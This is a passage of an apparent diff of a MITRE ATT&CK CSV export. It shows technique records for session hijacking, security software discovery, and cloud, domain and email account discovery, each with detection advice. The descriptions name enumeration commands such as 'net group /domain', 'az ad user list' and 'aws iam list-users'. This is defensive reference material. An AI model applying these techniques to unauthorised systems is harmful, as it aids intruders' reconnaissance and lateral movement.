session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1563/001', 'external_id': 'T1563.001'}, {'source_name': 'Slideshare Abusing SSH', 'description': 'Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.', 'url': 'https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219'}, {'source_name': 'SSHjack Blackhat', 'description': 'Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.', 'url': 'https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf'}, {'source_name': 'Clockwork SSH Agent Hijacking', 'description': 'Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.', 'url': 'https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking'}, {'source_name': 'Breach Post-mortem SSH Hijack', 'description': 'Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.', 'url': 'https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Anastasios Pingios'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",True,['root'],"['Linux', 'macOS']",1.0,,"['SSH service enabled, trust relationships configured, established connections']",,,,, +attack-pattern,attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-25T18:26:16.994Z,2020-03-23T23:35:58.129Z,Remote Service Session Hijacking,"Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. -Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1563', external_id='T1563'), ExternalReference(source_name='RDP Hijacking Medium', description='Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', url='https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6'), ExternalReference(source_name='Breach Post-mortem SSH Hijack', description='Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.', url='https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident')]",attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-03-23 23:35:58.129000+00:00,Remote Service Session Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,,,,"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. +Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1563', 'external_id': 'T1563'}, {'source_name': 'RDP Hijacking Medium', 'description': 'Beaumont, K. (2017, March 19). RDP hijacking\u200a—\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.', 'url': 'https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6'}, {'source_name': 'Breach Post-mortem SSH Hijack', 'description': 'Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020.', 'url': 'https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Process: Process Creation']",,"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. -Monitor for processes and command-line arguments associated with hijacking service sessions.",,,,,False,,,"['SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-21 21:16:18.066000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Monitor for processes and command-line arguments associated with hijacking service sessions.",False,"['SYSTEM', 'root']","['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:16:18.066Z,2021-03-29T16:05:00.198Z,Security Software Discovery,"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. -Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1518/001', external_id='T1518.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/581.html', external_id='CAPEC-581'), ExternalReference(source_name='Expel IO Evil in AWS', description='A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', url='https://expel.io/blog/finding-evil-in-aws/')]",attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-29 16:05:00.198000+00:00,Security Software Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. +Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1518/001', 'external_id': 'T1518.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/581.html', 'external_id': 'CAPEC-581'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Firewall: Firewall Metadata', 'Firewall: Firewall Enumeration', 'Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). -In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.",,,,,True,,,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,1.2 -2020-02-21 21:15:33.222000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group. +In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.",True,['User'],"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",1.2,,,,,,, +attack-pattern,attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:15:33.222Z,2021-06-25T12:13:37.940Z,Cloud Groups,"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group. + +With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance). -With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance) +Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation). -Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1069/003', external_id='T1069.003'), ExternalReference(source_name='Microsoft Msolrole', description='Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.', url='https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0'), ExternalReference(source_name='GitHub Raindance', description='Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', url='https://github.com/True-Demon/raindance'), ExternalReference(source_name='Microsoft AZ CLI', description='Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', url='https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'), ExternalReference(source_name='Black Hills Red Teaming MS AD Azure, 2018', description='Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', url='https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/'), ExternalReference(source_name='Google Cloud Identity API Documentation', description='Google. (n.d.). Retrieved March 16, 2021.', url='https://cloud.google.com/identity/docs/reference/rest')]",attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-30 12:42:46.315000+00:00,Cloud Groups,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069/003', 'external_id': 'T1069.003'}, {'source_name': 'Microsoft Msolrole', 'description': 'Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0'}, {'source_name': 'GitHub Raindance', 'description': 'Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', 'url': 'https://github.com/True-Demon/raindance'}, {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'}, {'source_name': 'Black Hills Red Teaming MS AD Azure, 2018', 'description': 'Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/'}, {'source_name': 'Google Cloud Identity API Documentation', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://cloud.google.com/identity/docs/reference/rest'}, {'source_name': 'AWS Get Bucket ACL', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima']","['Process: Process Creation', 'Command: Command Execution', 'Group: Group Enumeration', 'Group: Group Metadata', 'Application Log: Application Log Content']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.",,,,,True,,,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,1.2 -2020-02-21 21:15:06.561000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.",True,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",1.3,,,,,,, +attack-pattern,attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:15:06.561Z,2020-03-12T19:07:53.043Z,Domain Groups,"Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. -Commands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1069/002', external_id='T1069.002')]",attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-12 19:07:53.043000+00:00,Domain Groups,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +Commands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1069/002', 'external_id': 'T1069.002'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-21 21:08:36.570000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:08:36.570Z,2021-03-16T12:54:41.133Z,Cloud Account,"Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. With authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) -The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1087/004', external_id='T1087.004'), ExternalReference(source_name='Microsoft msolrolemember', description='Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.', url='https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0'), ExternalReference(source_name='GitHub Raindance', description='Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', url='https://github.com/True-Demon/raindance'), ExternalReference(source_name='Microsoft AZ CLI', description='Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', url='https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'), ExternalReference(source_name='Black Hills Red Teaming MS AD Azure, 2018', description='Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', url='https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/'), ExternalReference(source_name='AWS List Roles', description='Amazon. (n.d.). List Roles. Retrieved August 11, 2020.', url='https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html'), ExternalReference(source_name='AWS List Users', description='Amazon. (n.d.). List Users. Retrieved August 11, 2020.', url='https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html'), ExternalReference(source_name='Google Cloud - IAM Servie Accounts List API', description='Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.', url='https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list')]",attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-16 12:54:41.133000+00:00,Cloud Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['User Account: User Account Metadata', 'Command: Command Execution']",,,,,"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. +The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/004', 'external_id': 'T1087.004'}, {'source_name': 'Microsoft msolrolemember', 'description': 'Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0'}, {'source_name': 'GitHub Raindance', 'description': 'Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.', 'url': 'https://github.com/True-Demon/raindance'}, {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'}, {'source_name': 'Black Hills Red Teaming MS AD Azure, 2018', 'description': 'Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/'}, {'source_name': 'AWS List Roles', 'description': 'Amazon. (n.d.). List Roles. Retrieved August 11, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html'}, {'source_name': 'AWS List Users', 'description': 'Amazon. (n.d.). List Users. Retrieved August 11, 2020.', 'url': 'https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html'}, {'source_name': 'Google Cloud - IAM Servie Accounts List API', 'description': 'Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['User Account: User Account Metadata', 'Command: Command Execution']",,"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery. -System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.",,,,,True,,,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,1.2 -2020-02-21 21:08:33.237000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) +System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.",True,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",1.2,,,,,,, +attack-pattern,attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-21T21:08:33.237Z,2021-03-31T13:10:46.302Z,Email Account,"Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) In on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) -In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1087/003', external_id='T1087.003'), ExternalReference(source_name='Microsoft Exchange Address Lists', description='Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.', url='https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019'), ExternalReference(source_name='Microsoft getglobaladdresslist', description='Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.', url='https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist'), ExternalReference(source_name='Black Hills Attacking Exchange MailSniper, 2016', description='Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.', url='https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/'), ExternalReference(source_name='Google Workspace Global Access List', description='Google. (n.d.). Retrieved March 16, 2021.', url='https://support.google.com/a/answer/166870?hl=en')]",attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-31 13:10:46.302000+00:00,Email Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Metadata', 'Command: Command Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. +In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1087/003', 'external_id': 'T1087.003'}, {'source_name': 'Microsoft Exchange Address Lists', 'description': 'Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.', 'url': 'https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019'}, {'source_name': 'Microsoft getglobaladdresslist', 'description': 'Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist'}, {'source_name': 'Black Hills Attacking Exchange MailSniper, 2016', 'description': 'Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.', 'url': 'https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/'}, {'source_name': 'Google Workspace Global Access List', 'description': 'Google. (n.d.). Retrieved March 16, 2021.', 'url': 'https://support.google.com/a/answer/166870?hl=en'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Metadata', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,True,,,['User'],"['Windows', 'Office 365', 'Google Workspace']",,,,1.1 -2020-02-21 21:08:26.480000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to 